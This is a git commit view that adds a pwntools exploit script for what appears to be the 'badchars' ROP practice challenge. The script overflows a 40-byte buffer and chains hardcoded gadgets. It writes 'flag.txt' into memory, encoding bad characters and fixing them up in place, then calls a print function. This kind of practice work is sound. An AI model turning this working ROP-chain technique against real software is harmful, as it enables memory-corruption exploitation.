diff options
author | Brett Weiland <brett_weiland@bpcspace.com> | 2020-12-16 21:33:39 -0600 |
---|---|---|
committer | Brett Weiland <brett_weiland@bpcspace.com> | 2020-12-16 21:33:39 -0600 |
commit | 3f54969f581fd311c09b1c21758ad9aa4a8784f4 (patch) | |
tree | 355475d185371a41f66154649b3526367069a52c /x86_64/badchars/exploit.py | |
parent | 3f0a1e64c7e7b410ad5f4e2024cd692536389449 (diff) |
new file: x86_64/badchars/exploit.py
new file: x86_64/badchars/exploit_dirty.py
new file: x86_64/badchars/usefullstuff
deleted: x86_64/write4/.exploit.py.swp
deleted: x86_64/write4/.useful_gadgets.swp
modified: x86_64/write4/exploit.py
Diffstat (limited to 'x86_64/badchars/exploit.py')
-rwxr-xr-x | x86_64/badchars/exploit.py | 53 |
1 files changed, 53 insertions, 0 deletions
diff --git a/x86_64/badchars/exploit.py b/x86_64/badchars/exploit.py new file mode 100755 index 0000000..da56cc9 --- /dev/null +++ b/x86_64/badchars/exploit.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python3 +from pwn import * +from time import sleep + + +def strfixandcopy(dest, string, badchars, payload): + badchar_locations = [] + fixed_str = b'' + for n,l in enumerate(string): + if l in badchars: + fixed_str += bytes([ord(string[n]) - 1]) + badchar_locations.append(n) + else: + fixed_str += bytes([ord(string[n])]) + + payload += p64(0x000000000040069c) # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret + + payload += fixed_str # r12 + payload += p64(dest) # r13 + payload += p64(1) # r14 + payload += p64(1) # r15 + + payload += p64(0x0000000000400634) # moves fixed string + + for badchar_location in badchar_locations: + payload += p64(0x00000000004006a0) # pop r14, r15 + payload += p64(1) + payload += p64(dest + badchar_location) + payload += p64(0x000000000040062c) #does the adding + + return(payload) + +prog = process('./badchars') +payload = b'' +for c in range(40): + payload += b'a' + + +payload = strfixandcopy(0x601be0, 'flag.txt', 'xga.', payload) +payload += p64(0x00000000004006a3) +payload += p64(0x601be0) +payload += p64(0x0000000000400510) +payload += b"\n" +prog.sendline(payload) + +sleep(0.5) +print(str(prog.recv(), 'UTF-8')) +prog.close() + + + + + |